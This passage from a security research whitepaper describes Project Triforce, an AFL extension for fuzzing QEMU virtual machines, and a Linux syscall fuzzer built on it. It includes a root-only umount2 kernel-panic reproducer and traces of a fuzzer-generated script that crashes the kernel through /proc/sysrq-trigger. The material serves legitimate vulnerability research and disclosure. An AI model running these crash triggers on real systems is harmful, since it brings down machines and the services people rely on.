NCC Group Whitepaper

Project Triforce: Run AFL On Everything

April 21, 2017

Prepared by
Jesse Hertz – Senior Security Consultant
Tim Newsham – Distinguished Security Consultant

Abstract
In this paper we present Project Triforce, our extension of American Fuzzy Lop (AFL), allowing it to fuzz virtual machines running under QEMU's full system emulation mode. We used this framework to build TriforceLinuxSyscallFuzzer (TLSF) syscall fuzzer, which has already found several kernel vulnerabilities. This paper details the iteration and design of both TriforceAFL and TLSF, both of which encountered some interesting obstacles and discoveries. Then, we'll analyze crashes found by the fuzzer, and talk about future directions, including our work fuzzing OpenBSD.

Table of Contents

1 Introduction

Much of this material is already available in the NCC Group blostpost and in our NCC Group GitHub repositories.[1,2] In particular, all the Linux crash analyses, reproducers, and advisories are accessible individually on our GitHub.[3]

This paper is intended to group together all of our work to date, and to give an idea of where we're going (as well as to include the less relevant, but quite comical, details of the story of this interesting research project).

AFL (American Fuzzy Lop) is an awesome security tool. AFL works by instrumenting the target at compile time in order to gather "edge traces" (the edges taken in the Control Flow Graph of the target executable) during execution of a test case. It then uses this feedback to create new test cases. The power of an easy to use, feedback-driven fuzzer has enabled people to find an absolutely staggering number of vulnerabilities. However, early versions of AFL required instrumentation at compile time, which makes it impossible to use on certain targets. With the addition of AFL's qemu_mode,[4] it became possible to fuzz binaries without source code, exposing a whole new world of targets to AFL. In this paper we introduce TriforceAFL, an extension of qemu_mode to allow fuzzing full virtual machines (VM) running under QEMU's full system emulation. By extending AFL to fuzz arbitrary VMs, previously inaccessible targets are now "fuzzable". We used this new capability to build a Linux-specific syscall fuzzer, TLSF.[5] It is also important to keep in mind that TLSF can be used as an example framework for fuzzing other operating systems (or other targets in general) using TriforceAFL.

1.1 Related Work

Before we get into the details of our work, let's briefly talk about some existing/related projects:

- Google developed a very successful feedback-driven Linux syscall fuzzer, syzkaller, that has found an impressive number of bugs.
- Trinity,[6] perhaps the most successful Linux system call fuzzer, briefly considered adding feedback support,[7] although this was not (publicly) completed.
- Oracle recently demonstrated some very interesting work on using AFL to specifically fuzz Linux filesystem drivers, by building the drivers with AFL instrumentation.

In contrast to the above work, TriforceAFL offers some new advantages:

- Unlike Oracle's work, we won't need to compile pieces of the kernel with AFL, or figure about how to instrument core parts of the kernel.[8] TriforceAFL allows testing complex systems that cannot be recompiled or easily instrumented.

[1] https://github.com/nccgroup/TriforceAFL
[2] https://github.com/nccgroup/TriforceLinuxSyscallFuzzer
[3] https://github.com/nccgroup/TriforceLinuxSyscallFuzzer/tree/master/crash_reports
[4] A patchset to AFL and QEMU developed by Andrew Griffiths
[5] TriforceLinuxSyscallFuzzer, which we will continue abbreviating through this paper as TLSF, or just 'the fuzzer'. Excuse our terrible choices in name, but hey, Triforce!
[6] From which we hoped to carry on in spirit by choosing the name Triforce when the developer announced a cease of development after learning of Hacking Team modifying Trinity and keeping the modifications and bugs private. Fortunately, development seems to have continued! If any of the Trinity people are reading this, hi! We're big fans.
[7] Weirdness: do not visit that link over HTTPS, or you'll get an HSTS policy, and the HTTPS version redirects to aphlor.org, which just has the response of "yes."
[8] While it is relatively straightforward to build some parts of the kernel with AFL instrumentation, other parts can be very non-trivial, and regardless this strategy in general requires running AFL in kernel-mode (or creating a driver that exposes the instrumentation to user-mode). This still would not overcome the issue of how to instrument the pieces of the Linux kernel used **by** AFL for its internal functionality.

- Unlike Google's syzkaller, the target kernels don't need to be built with coverage support, so "any kernel will do". Also, since we are capturing edge info (rather than just coverage of whether a given basic block was executed), we get the full benefits of AFL's feedback and mutation engines.
- In our model, we fork right before decoding and executing the test case, so we only have to incur the cost of booting the operating system once. While this doesn't achieve the speed of the other tools mentioned, which can fuzz against Linux running on "bare metal", TLSF is surprisingly fast (for some performance details, see Section 5.1 on page 17).
- It's generic! This can be used to fuzz anything that can run under QEMU's x64 full system emulation mode (or under "arm32" emulation as well, although this is less tested). This contrasts with syzkaller and Trinity, which are both tightly coupled to Linux. TriforceAFL can also be used to fuzz things besides syscalls or operating systems. At its most fundamental level, TriforceAFL is a tool to fuzz an arbitrary VM with the goal of causing the VM to jump to a basic block of interest (in the case of TLSF, that of the kernel's `panic()` routine).

2 Design

Normally when fuzzing with AFL, a target program is started for each test case and runs to completion, or until it crashes. AFL maintains a "forkserver", which spins up copies of the target program and feeds them inputs. By instrumenting the binaries at compile time, AFL can observe which edges are taken in the program's control flow.

In AFL's user-mode QEMU mode, the same edge information is obtained instead by running a binary in QEMU's user-mode emulator, which allows for "effective instrumentation" of an otherwise uninstrumented binary. This opened a plethora of new targets to AFL that were previously unfuzzable, as they were binary-only or, for other reasons, uninstrumentable. However, these are still targets running in the context of QEMU's user-mode-emulation. We (perhaps foolishly) desired more—we wanted to use AFL to fuzz OS kernels. Which meant we needed to extend AFL's 'qemu_mode' to support fuzzing QEMU VM's running under full-system emulation.

Our design allows the hosted (or "guest") operating system to boot up and load a user-mode "driver"[9] that controls the fuzzing life-cycle and hosts the test cases. Every test-case will occur in a forked copy of the virtual machine that persists only until the end of a given test case. The guests can communicate with the hosts using a custom hypercall (more details on that in Section 3 on the next page).

A typical TriforceAFL kernel fuzzer would perform the following steps:

- Boot an operating system under QEMU.
- The operating system would invoke the fuzz driver as part of its startup process (such as `init` itself or `/etc/rc.local`).
- The driver process would perform a hypercall to tell QEMU to start the AFL fork server. From here on out, everything occurs in a fork of the VM. Within each fork, the driver then does the following:
    1. Makes a hypercall to get a single test case.
    2. Makes a hypercall to enable tracing of the parser.
    3. Parse the test case.
    4. Makes a hypercall to enable tracing of the kernel.
    5. Invokes a kernel feature, such as a syscall, based on the parsed input.
    6. Makes a hypercall to notify the kernel that the test case completed successfully (if the test case wasn't terminated early by a panic).

Note that since each test case runs in a forked copy of the VM, the entire in-memory state of the kernel for each test case is isolated. If the OS uses any other resources besides memory, these resources will not be isolated between test cases. For this reason, it's currently necessary to boot the OS using an in-memory filesystem, such as a Linux ramdisk image (we'll talk about this more in Section 9 on page 40).

[9] The use of the word 'driver' from here on out refers to the user-mode programs that act as a so-called decoder of test cases, and run inside the VM. They are not operating system drivers, i.e. kernel modules.

3 Implementation

We chose to implement this design by adding a new instruction to the QEMU's X86_64 emulation, a special instruction that we denote 'aflCall' (`0f 24`).

It supports several operations:

- `startForkserver` – This call causes the host to start up the AFL forkserver. Every operation in the VM after this call will run in a forked copy of the VM that persists only until the end of a test case. As a side effect, this call will either enable or disable the CPU's timer in each forked child (based on an argument). Disabling the CPU timer can make the test-cases more deterministic, but may also interfere with the proper operation of some of the guest OS's features.
- `getWork` – This call causes the host to put the next test case into a buffer in the guest.
- `startWork` – This call tells the host to begin tracing execution. Tracing is only performed for a range of virtual addresses specified in the `startWork` call. This call may be made several times to adjust the range of traced instructions. For example, you may choose to trace the driver program itself while it parses the test-case[10] and then trace the kernel while performing a system call from the deserialized test-case.
- `endWork` – This call notifies the host that the test case has completed. It additionally allows the driver to pass an exit code back to the host.

In a "normal" test case, the kernel doesn't crash, and the driver calls `endWork` after the system call completes successfully. However, we're interested in when things go wrong, and so we needed to be able to detect that.

We achieve crash detection by providing the TriforceAFL with an argument specifying the address of a panic function. If the VM ever jumps to this address the test case is terminated, and noted as a crash. Note that this argument can specify **any** basic block of interest, it need not represent the "panic" function of the operating system. This is important enough to repeat it again: you can use TriforceAFL to fuzz a binary in the VM in order to reach any given basic block of interest (for instance, one could in theory use this to have AFL try and find an input that causes a "lock" binary in the target VM to jump to an "unlock" function).

TriforceAFL can also be configured to intercept system logs by specifying an argument with the address of Linux's `log_store` function. The VM assumes that when this address is executed, the registers have the arguments to the Linux `log_store` function, and it will extract the log message and write it to the `logstore.txt` file.[11] This does not trigger immediate termination of the test case. However, it does set an internal flag indicating that the test case caused logging. When `doneWork` is later called, the guest can set a status flag[12] to indicate that logging occurred. However, we did not find this feature particularly useful, so it is currently disabled in the source code.

3.1 Making it Actually Work

TriforceAFL's tweaked version of QEMU borrows heavily from the AFL QEMU patches. These patches already included code to trace execution, and feed this edge-trace into AFL. However, we found that there was a subtle bug in the tracing due to QEMU's execution strategy. Sometimes QEMU began executing a basic block and then was interrupted. It may then re-execute the block from the start, or translate a portion of the block that wasn't yet executed and execute that. This caused some extra edges to appear in the edge map ("spurious self-edges", where it appears a basic block jumped into itself), and introduced some non-

[10] This encourages AFL to try and make new test cases that trigger different kinds of deserialization logic. It also found a bug in an early version of our driver.
[11] Obviously, this is currently Linux specific, but the code could easily be adapted to other operating systems.
[12] (Setting a specific bit, by bitwise ORing the value 64 to the exit code)

determinism to test case traces. To reduce the non-determinism, we altered `cpu-exec.c` to disable QEMU's "chaining" feature, and moved AFL's tracing feature to `cpu_tb_exec`, so that QEMU records an edge for a basic block only after it has been executed to completion.

AFL's QEMU performs tracing in its CPU execution code (pre-translation of the basic block). We experimented with performing tracing in the code generated for each basic block. This resulted in a performance gain, since the hash function used to hash addresses is computed only once at translation time. However, due to some other issues related to QEMU's full system emulation being multi-threaded, we decided to continue using the existing tracing method.

The original AFL `qemu_mode` patches also added a feature to QEMU to allow the forked virtual machine to communicate back to the parent virtual machine whenever a new basic block is translated. This feature is used to allow the parent process to cache the translated block, so future children don't have to repeat the work. This feature works well when emulating a user-mode program that has a single address space, but is less suitable for a full system where there are many programs in different address spaces. We experimented with using this feature for kernel addresses only (where virtual addresses should remain constant) but ran into issues that we did not resolve (again, related to multi-threading, something we'll talk about in Section 9 on page 40). We currently disable this feature. Instead, we've taken an approach where we run a "heater" program before we run our test driver. The purpose of the heater program is to invoke features that we plan to later test, in hopes of causing them to be translated in the parent virtual machine before the forkserver is started. This approach is an optimization that has boosted our performance slightly, but is not strictly necessary.

AFL is typically used with programs that are considerably smaller than a modern OS kernel. Since AFL uses a hash function to map traced edges to an edge table, we've had to make adjustments to the map size to accommodate the larger number of edges. We adjusted the edge map size from 2^{16} to 2^{21} to reduce edge collisions to an acceptable level, and updated the hash function to a better hash recommended by Peter Gutmann. More information about the measurements that led to this map size can be found on the afl-users mailing list.[13]

To support panic and logging detection, we added new command line options to AFL that receive the virtual address of the panic and logging functions. We also added a new command line option to specify which file to read the test case input from. All these command line options are recorded in global variables. The `gen_aflBBlock` function in `target-i386/translate.c` checks if the translated basic block matches one of the two target addresses, and if so causes the translated code to call an intercept function: either `helper_aflInterceptPanic` or `helper_aflInterceptLog`.

Communication between the driver in the guest and the host is performed with a fake CPU instruction (a "hypercall"), implemented in `target-i386/translate.c`. When the instruction `0f 24` is executed, the translated code will call `helper_aflCall`. This function dispatches to implementations for `startForkserver`, `getWork`, `startWork`, or `doneWork`. Most of these implementations are fairly straightforward, however the implementation of `startForkServer` is deceptively complicated.

One of the biggest issues we faced when trying to support full-system emulation was getting the forkserver running. AFL's user-mode QEMU emulation has no problems forking since it is a single-threaded program. However, QEMU uses several threads when running a full-system emulator. When forking a multi-threaded program in most UNIX systems, only the thread calling fork has all its thread local storage preserved in the child process. Fork also doesn't preserve important threading state and can leave locks, mutexes, semaphores, and other threading objects in an undefined state. To address this issue, we took an unusual

[13] https://groups.google.com/forum/#!searchin/afl-users/hash/afl-users/iHCx2Z2WncI/Okyn1oXkIwAJ

approach to starting the forkserver. Rather than starting it immediately, we set a flag to tell the CPU to stop. When the CPU sees this flag set, it exits out of the CPU loop, sends notification to the IO thread, records some CPU state for later, and exits the CPU thread. At this point there are only two threads: an internal RCU thread and the IO thread. The RCU thread is already designed to handle forks properly and needs not be stopped. The IO thread receives its notification and performs a fork. In the child, the CPU is restarted using the previously recorded information and can continue execution where it left off. We'll discuss a better way to handle this going forward in Section 9 on page 40.

3.2 Code Diffs

We tried to organize our public git repo so that changes to AFL and QEMU would be easily apparent, and could be merged into AFL (if desired by the AFL maintainers).

To see the changes made to QEMU, clone the repo, and then run:

- `git diff a567f4 qemu_mode/qemu` to see all changes to stock QEMU.
- `git diff 4c01f8 qemu_mode/qemu` to see all changes made to AFL's version of QEMU.
- `git diff df9132 [a-pr-z]*` to see all changes to AFL's sources.

4.1 TLSF Overview

We strongly believes in the principle of iteration, especially in the case of developing fuzzers: make something that works, then make it better.

TriforceAFL is powerful, but useless without a fuzzer built to use it. In order to use it to fuzz the syscall interface, we built a series of progressively richer featured drivers[14] as the project became more mature.

Our virtual machines run a Linux kernel configured to boot off a ramdisk. We build a small root filesystem into a "cpio" archive that QEMU loads as an "initrd" image. After the kernel boots, it runs `/init` from our filesystem, which is a shell script that initializes the environment and executes our driver program.

And now, onto the specifics of our iterative fuzzer development.

4.2 Simple: Our First Driver

`simple` was the first fuzzing driver we wrote, and it lived up to its name. `simple` could only generate system calls with numeric arguments. It had no real concept of types or structure. For `simple`, a test case was just a syscall number followed by six numerical arguments to be placed in registers. To execute the test, the designated system call was called with the provided arguments.

Initially, we provided AFL with a single input test case: a serialized version of `getpid(2)`. This let us verify that everything was working properly.[15]

To our surprise, by the time we had gotten edge-traces stabilized, AFL had managed to mutate our simple `getpid(2)` test-case into its first kernel panic (recall that a test case can be easily mutated into a different system call by changing the syscall number). And now, for one of the more ridiculous (root-only, local denial-of-service) kernel panics we've ever submitted as a "bug".

4.2.1 Umount2: Our First Crash!

Sometimes, a couple lines of code are worth a million words. Sometimes, AFL can still manage to find a panic even when you give it really nothing to work with. Here's a reproducer for this crash on "vulnerable" versions of Linux:

```
1 int main() {
2   umount2("/", 3);
3   return 0;
4 }
```

To figure out what our test cases were doing, we added a feature to the driver to run the test case without using AFL hypercalls. This allowed us to run the test case manually, and use `strace` to see the syscalls made.

When we saw that it was a simple `umount` of the root directory, we were amazed and asked ourselves "How did the driver manage to call a syscall that requires a char* ?!?!". AFL cleverly (by mutating the first argument in the system call to a pointer into the driver binary) created a serialized syscall where the first argument to `umount2(2)` points to the trailing slash in a directory name that was hardcoded into the driver binary (effectively turning it into a pointer to "/", null terminated and all).

This crash only works as root, but does panic some Linux 2 and 3 kernels:

[14] Again, these are not operating system drivers, they are more accurately "user-mode test-case decoders".

[15] As we discussed earlier, it was necessary to disable clock ticks in order to make the edge-traces deterministic. Additionally, we had to make a small change to how QEMU was tracing blocks in order to stop the "spurious self-edges".

The linux-2.6.32.71 kernel panics with: "`kernel BUG at fs/pnode.c:330!`."
The linux-3.18.29 kernel panics with "`kernel BUG at fs/pnode.c:372!`."

Linux 4 correctly locks the FS root with `MNT_LOCKED`, and so this silly trick doesn't panic the kernel. Additionally (even on 3.X), the rootfs filesystem will have `MNT_LOCKED` set if it was created by an unprivileged user, eliminating exploitability through user namespaces. The fix to always set `MNT_LOCKED` on the rootfs has been backported to 3.12y, and it remains to be seen whether it will be backported to 3.18, or older 2.X kernels.

To recap, from a `getpid(2)` serialized syscall—serialized syscalls at this point being just a 7-tuple of integers, and this initial seed was simply '37' (the syscall number for `getpid(2)`) and then all zeroes—AFL created a system call that contained a pointer into the binary itself for a null-terminated string ("/"), as well as a mount flag (3, which has the bit set for `MNT_FORCE`). So, even with a very simplistic driver (and non-fully deterministic edge traces), we were already seeing some interesting results. This made us confident we were on the right path with this project.

4.3 Onebuf: A Driver with (One) Buffer Support

Our next fuzzer, `onebuf`, used a slightly more complicated structure. In additional to numerical arguments, this version of the fuzzer let us include a buffer (but just one). Argument types were introduced![16] These different types allow a test case to specify a buffer, and then provides several ways to reference said buffer. The types supported are:

- int
- buffer contents
- pointer to the buffer
- length of the buffer
- path of a tmp file with the contents of the buffer

Since AFL manipulates the serialized syscall, it can also change the types of arguments. This lets it do things like turn a matched (*buffer, len) argument pair into a (*buffer, int) argument pair, allowing AFL fuzz the length provided along with the buffer. For this reason, we found it beneficial to enable tracing of the driver itself during deserialization, as it encourages the mutation engine to find test-cases that take different paths through the driver's deserialization code.[17]

With our new fuzzer, we generated some hand-crafted inputs and let it run while we iterated onto the next driver.

4.3.1 AFL Writes an Obfuscated Shell Script

Even though `onebuf` was fairly simple, it also started finding some interesting crashes. If there was a theme to this paper, it would be this: do not underestimate AFL.

One of the test cases we had created was essentially:

```
  write_to_file("#!/bin/bash\necho hi")
  execve(the_file, 0, 0)
}
```

Listing 1: Psuedo-code for test case

[16] These are not "true" types in the PL theory sense. In fact, we not only don't provide type safety, we actively encourage AFL to change the types of arguments. But, these "types" are used to convey some semantic information in the test case, and will become extremely useful in the next iteration of the driver.
[17] And in fact, AFL found a crash in one of our drivers using this.

This was intended as a simple case we could use to start fuzzing `execve(2)`. From that simplistic shell script, AFL managed to write something that neither of us could figure out without liberal application of `strace`.

As stated earlier, `onebuf` supported writing out the buffer contents to a file ('/tmp/file0'), which was FD 3, so we could look in the `strace` for a call to `write(3,X)` to see what the contents of the file being created by this test case were:

```
write(3, "#!/bin/sh\ne\0//\0\0\0\0A>&\0\0\0*o?//s*g* -\0\376\376\376\0\0>bin
    //\0\0\0\0A>&\0\0\0*o?//\0\4g* -\0\0\0", 71) = 71
```

To which we thought: "Well... that's definitely a kind of shell script". Going a little further down in the `strace`:

```
execve("/tmp/file0", [], [/* 0 vars */]) = 0
readlink("/proc/self/exe", "/bin/busybox", 4096) = 12
read(10, "#!/bin/sh\ne\0//\0\0\0\0A>&\0\0\0*o?//s*g* -\0\376\376\376\0\0>bin
    //\0\0\0\0A>&\0\0\0*o?//\0\4g* -\0\0\0", 1023) = 71
read(10, "", 1023)                      = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
getdents(3, /* 19 entries */, 32768)    = 496
openat(AT_FDCWD, "proc/", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 4
getdents(4, /* 101 entries */, 32768)   = 2768
getdents(4, /* 0 entries */, 32768)     = 0
close(4)                                = 0
openat(AT_FDCWD, "root/", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 4
getdents(4, /* 2 entries */, 32768)     = 48
getdents(4, /* 0 entries */, 32768)     = 0
close(4)                                = 0
getdents(3, /* 0 entries */, 32768)     = 0
close(3)                                = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
getdents(3, /* 19 entries */, 32768)    = 496
openat(AT_FDCWD, "proc/", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 4
getdents(4, /* 101 entries */, 32768)   = 2768
getdents(4, /* 0 entries */, 32768)     = 0
close(4)                                = 0
openat(AT_FDCWD, "root/", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 4
getdents(4, /* 2 entries */, 32768)     = 48
getdents(4, /* 0 entries */, 32768)     = 0
close(4)                                = 0
getdents(3, /* 0 entries */, 32768)     = 0
close(3)                                = 0
open("proc//sysrq-trigger", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fcntl(1, F_DUPFD, 10)                   = 11
dup2(3, 1)                              = 1
close(3)                                = 0
fcntl(2, F_DUPFD, 10)                   = 12
dup2(1, 2)                              = 2
open("bin//A", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
dup2(3, 1)                              = 1
close(3)                                = 0
open("*o?//\4g*", O_WRONLY|O_CREAT|O_TRUNC, 0666) = -1 ENOENT (No such file or
    directory)
write(2, "/tmp/file0: ", 12[    39.060961] SysRq : HELP : loglevel(0-9) reboot(b)
```

```
    crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-
    filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-
    all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s)
    show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z)
)           = 12
write(2, "line 2: ", 8[   39.064407] SysRq : Show backtrace of all active CPUs
write(2, "can't create *o?//\4g*: nonexistent directory", 44
```

Listing 2: Trimmed strace output.

And then analyzing the corresponding dmesg output:

```
[39.064744] sending NMI to all CPUs:
[39.065095] NMI backtrace for cpu 0
[39.065095] CPU: 0 PID: 887 Comm: file0 Not tainted 3.18.25 #11
[39.065095] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel
    -1.7.5.1-0-g8936dbb-20141113_115728-nilsson.home.kraxel.org 04/01/2014
[39.065095] task: ffff88007acb88d0 ti: ffff88007aca4000 task.ti: ffff88007aca4000
[39.065095] RIP: 0010:[<ffffffff81038b0a>]  [<ffffffff81038b0a>] flat_send_IPI_mask+0
    x5a/0x80
[39.065095] RSP: 0018:ffff88007aca7df8  EFLAGS: 00000292
[39.065095] RAX: 0000000000000c00 RBX: 0000000000000c00 RCX: 00000000000000aa
[39.065095] RDX: ffffffff81e26ee0 RSI: 0000000000000002 RDI: 0000000000000300
[39.065095] RBP: ffff88007aca7e28 R08: 20676e69646e6573 R09: 61206f7420494d4e
[39.065095] R10: 0000000000000168 R11: 3a73555043206c6c R12: 0000000000000292
[39.065095] R13: 0000000000000001 R14: 0000000000000007 R15: 00007ffdce3c5998
[39.065095] FS:  000000000124d880(0063) GS:ffff88007f800000(0000) knlGS
    :0000000000000000
[39.065095] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[39.065095] CR2: 00007ffdce3c2d74 CR3: 000000007ac8d000 CR4: 00000000000006f0
[39.065095] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[39.065095] DR3: 0000000000000000 DR6: 0000000000000000 DR7: 0000000000000000
[39.065095] Stack:
[39.065095]  ffff88007aca7e58 0000000281bdee33 0000000000000001 ffffffff81e6d720
[39.065095]  000000000000006c 0000000000000000 ffff88007aca7e48 ffffffff81035695
[39.065095]  00000000000000fe ffffffff81e6d720 ffff88007aca7e58 ffffffff8138b74e
[39.065095] Call Trace:
[39.065095]  [<ffffffff81035695>] arch_trigger_all_cpu_backtrace+0x65/0xe0
[39.065095]  [<ffffffff8138b74e>] sysrq_handle_showallcpus+0xe/0x10
[39.065095]  [<ffffffff8138bd27>] __handle_sysrq+0x107/0x170
[39.065095]  [<ffffffff8138c1ce>] write_sysrq_trigger+0x2e/0x40
[39.065095]  [<ffffffff811bce58>] proc_reg_write+0x38/0x70
[39.065095]  [<ffffffff8115d9c2>] vfs_write+0xb2/0x1f0
[39.065095]  [<ffffffff8115e455>] SyS_write+0x45/0xc0
[39.065095]  [<ffffffff81825210>] tracesys_phase2+0xd4/0xd9
[39.065095] Code: 5f ff f6 c4 10 75 f2 44 89 e8 c1 e0 18 89 04 25 10 c3 5f ff 89 f0
    09 d8 80 cf 04 83 fe 02 0f 44 c3 89 04 25 00 c3 5f ff 41 54 9d <48> 83 c4 18 5b 41
     5c 41 5d 5d c3 89 75 dc ff 92 18 01 00 00 8b
[39.065095] INFO: NMI handler (arch_trigger_all_cpu_backtrace_handler) took too long
    to run: 12.124 msecs
)               = 8
[39.079750] SysRq : Trigger a crash
[39.080430] BUG: unable to handle kernel NULL pointer dereference at           (null)
[39.080800] IP: [<ffffffff8138b621>] sysrq_handle_crash+0x11/0x20
```

```
[39.081134] PGD 96067 PUD 7c5b3067 PMD 0
[39.081134] Oops: 0002 [#1] SMP
[39.081134] Modules linked in:
[39.081134] CPU: 0 PID: 887 Comm: file0 Not tainted 3.18.25 #11
[39.081134] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel
   -1.7.5.1-0-g8936dbb-20141113_115728-nilsson.home.kraxel.org 04/01/2014
[39.081134] task: ffff88007acb88d0 ti: ffff88007aca4000 task.ti: ffff88007aca4000
[39.081134] RIP: 0010:[<ffffffff8138b621>]  [<ffffffff8138b621>] sysrq_handle_crash+0
   x11/0x20
[39.081134] RSP: 0018:ffff88007aca7e58  EFLAGS: 00000292
[39.081134] RAX: 000000000000000f RBX: ffffffff81e6d7c0 RCX: 0000000000000098
[39.081134] RDX: 00000000000000fd RSI: 0000000000000246 RDI: 0000000000000063
[39.081134] RBP: ffff88007aca7e58 R08: 00000000000000c2 R09: ffffffff8202d990
[39.081134] R10: 0000000000000188 R11: 0000000000000187 R12: 0000000000000063
[39.081134] R13: 0000000000000000 R14: 0000000000000007 R15: 00007ffdce3c5ab8
[39.081134] FS:  000000000124d880(0063) GS:ffff88007f800000(0000) knlGS
   :0000000000000000
[39.081134] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[39.081134] CR2: 0000000000000000 CR3: 000000007ac8d000 CR4: 00000000000006f0
[39.081134] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[39.081134] DR3: 0000000000000000 DR6: 0000000000000000 DR7: 0000000000000000
[39.081134] Stack:
[39.081134]  ffff88007aca7e88 ffffffff8138bd27 000000000000002c 00007ffdce3c3450
[39.081134]  000000000000002c ffff88007aca7f50 ffff88007aca7ea8 ffffffff8138c1ce
[39.081134]  0000000000000001 ffff88007c6d3000 ffff88007aca7ed8 ffffffff811bce58
[39.081134] Call Trace:
[39.081134]  [<ffffffff8138bd27>] __handle_sysrq+0x107/0x170
[39.081134]  [<ffffffff8138c1ce>] write_sysrq_trigger+0x2e/0x40
[39.081134]  [<ffffffff811bce58>] proc_reg_write+0x38/0x70
[39.081134]  [<ffffffff8115d9c2>] vfs_write+0xb2/0x1f0
[39.081134]  [<ffffffff8115e455>] SyS_write+0x45/0xc0
[39.081134]  [<ffffffff81825210>] tracesys_phase2+0xd4/0xd9
[39.081134] Code: 34 75 e5 4c 89 ef e8 0f f8 ff ff eb db 66 2e 0f 1f 84 00 00 00 00
   00 0f 1f 00 55 c7 05 ad ce aa 00 01 00 00 00 48 89 e5 0f ae f8 <c6> 04 25 00 00 00
    00 01 5d c3 0f 1f 44 00 00 55 31 c0 48 89 e5
[39.081134] RIP  [<ffffffff8138b621>] sysrq_handle_crash+0x11/0x20
[39.081134]  RSP <ffff88007aca7e58>
[39.081134] CR2: 0000000000000000
[39.091685] ---[ end trace 9568226c87fbffeb ]---
[39.091936] Kernel panic - not syncing: Fatal exception
[39.092375] Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0
   xffffffff80000000-0xffffffff9fffffff)
[39.092565] ---[ end Kernel panic - not syncing: Fatal exception
```

allowed us to figure out what was happening. Feel free to pour over the `strace` output to figure out what specifically happened.[18] The gist is:

- The shell script used globbing to open a bunch of files, including some files in `/proc`.
- It then redirected one of the files to `stdout` and `stderr`.
- It then wrote some error messages about some malformed elements in the shell script. These ended up

[18] A fun exercise for the reader.

being written to the special "`/proc/sysrq-trigger`" file—which allows programmatically invoking `sysrq` functionality. One of these error messages was formatted in such a way to trigger `sysrq` to cause a kernel panic.

While this is an intentional feature of `sysrq`, AFL managed to find a way to trigger it starting from a "hello world" shell script. The resulting shell script is extremely resistant to static analysis (and almost looks like line noise). To quote one of my colleague's response: "AFL is skynet".

4.3.2 AFL Figures Out How to Make Hypercalls

Another tale of how AFL outsmarted us: After seeing AFL write a shell script, we decided we wanted to have it test the kernel's ELF parsing. We created two test cases, which were essentially just `execve(2)` being called on minimal ELF binaries we made, a 32-bit and 64-bit variant of "hello world".

```
/** $(CC) -m32 -nostdlib -s -o $@ tiny32.c
  strip -R .note.gnu.build-id -R .eh_frame -R .shstrtab -R .comment $@
**/
extern void exit(int);
extern int write(int, void *, int);
asm("write:\n"
    "mov $4, %eax\n"
    "mov 4(%esp), %ebx\n"
    "mov 8(%esp), %ecx\n"
    "mov 12(%esp), %edx\n"
    "int $0x80\n"
    "ret\n");
asm("exit:\n"
    "mov 4(%esp), %ebx\n"
    "mov $1, %eax\n"
    "int $0x80\n"
    "ret\n");
void _start() { write(1, "hello\n", 6); exit(0); }
```

Listing 3: tiny32.c a minimal 32-bit ELF binary

```
/** $(CC) -nostdlib -s -o $@ tiny64.c
  strip -R .note.gnu.build-id -R .eh_frame -R .shstrtab -R .comment $@
**/
extern void exit(int);
extern int write(int, void *, int);
asm("write:\n"
    "mov $1, %eax\n"
    "syscall\n"
    "ret\n");
asm("exit:\n"
    "mov $60, %eax\n"
    "syscall\n"
    "ret\n");
void _start() { write(1, "hello\n", 6); exit(0); }
```

Listing 4: tiny64.c a minimal 64-bit ELF binary

We noticed after a brief time fuzzing from these simple ELF files, AFL had already found a crash. We ran our reproduction script, and our "crash" was this output:

```
triforce/afl/qemu_mode/qemu/target-i386/translate.c:8149: startForkserver: Assertion
    '!afl_fork_child' failed.
```

That's odd, that's an assert we had put in to QEMU; its not from our driver or the Linux kernel. It is there make sure our forkserver modifications were working correctly and we weren't using the `startForkserver` hypercall more than once. Examining the crashes by hand made it abundantly clear: AFL had modified the ELFs to include `aflCall` instructions! AFL figured out how to make a hypercall (and specifically how to call `startForkserver`). This is something we won't be fixing, as this is indeed "intended behavior". Our bucketing scripts now ignore test cases that trigger this "crash".

As we found again, do not underestimate AFL. It is absolutely terrific at finding weird edge cases.

4.4 Multibuf, or As You May Know It, TLSF

`multibuf` is the version of the driver we released publicly on July 13th, 2016. This will be the Linux driver we'll be maintaining as we continue our fuzzing efforts.

This version has:

- Support for multiple system calls in one test case.
- Support for using "common Linux file descriptors", such as interesting files in `/proc` or `/sys`, network sockets, and all sorts of things.
- Support for multiple buffers. As with `onebuf`, buffers can be used to generate a pointer argument (pointing to the buffer), a file name, or a file descriptor argument (referencing a file with the buffer's contents). All types[19] supported:
  - Buffers
  - Buffer Lengths
  - File contents
  - File names
  - File Descriptor Number. We decided to provide the driver with multiple different types of "interesting" file descriptors (as you can see in the source (this is an approach very much inspired by Trinity).
  - Process IDs referencing the fuzzer process, its parent, or a child.
  - Vectors of arguments of any of the supported types.

This driver also has a concept of a "syscall record" (a single serialized syscall), and allows multiple syscall records to be stored in a single test case. This means a test case can contain a chain of syscalls (which is a necessity for non-trivial coverage of some syscalls that depend on a different syscall being made beforehand). This also allows AFL to splice together syscall records from different test cases.

The driver was now complex enough (and TriforceAFL stable enough) that we felt we could start focusing on figuring out how to best put this tool to use (and how to make it more performant).

4.5 Some Notes on TLSF's Source

